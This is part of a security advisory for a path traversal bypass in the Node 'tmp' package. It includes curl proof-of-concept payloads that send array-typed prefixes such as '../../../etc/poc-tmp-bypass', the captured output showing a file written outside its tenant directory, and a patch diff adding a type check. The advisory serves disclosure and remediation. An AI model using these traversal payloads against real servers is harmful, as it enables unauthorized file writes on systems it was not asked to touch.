Advisory

GHSA-7c78-jf6q-g5cm

Details, part 2 of 2. The advisory

Details

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

Sources & licences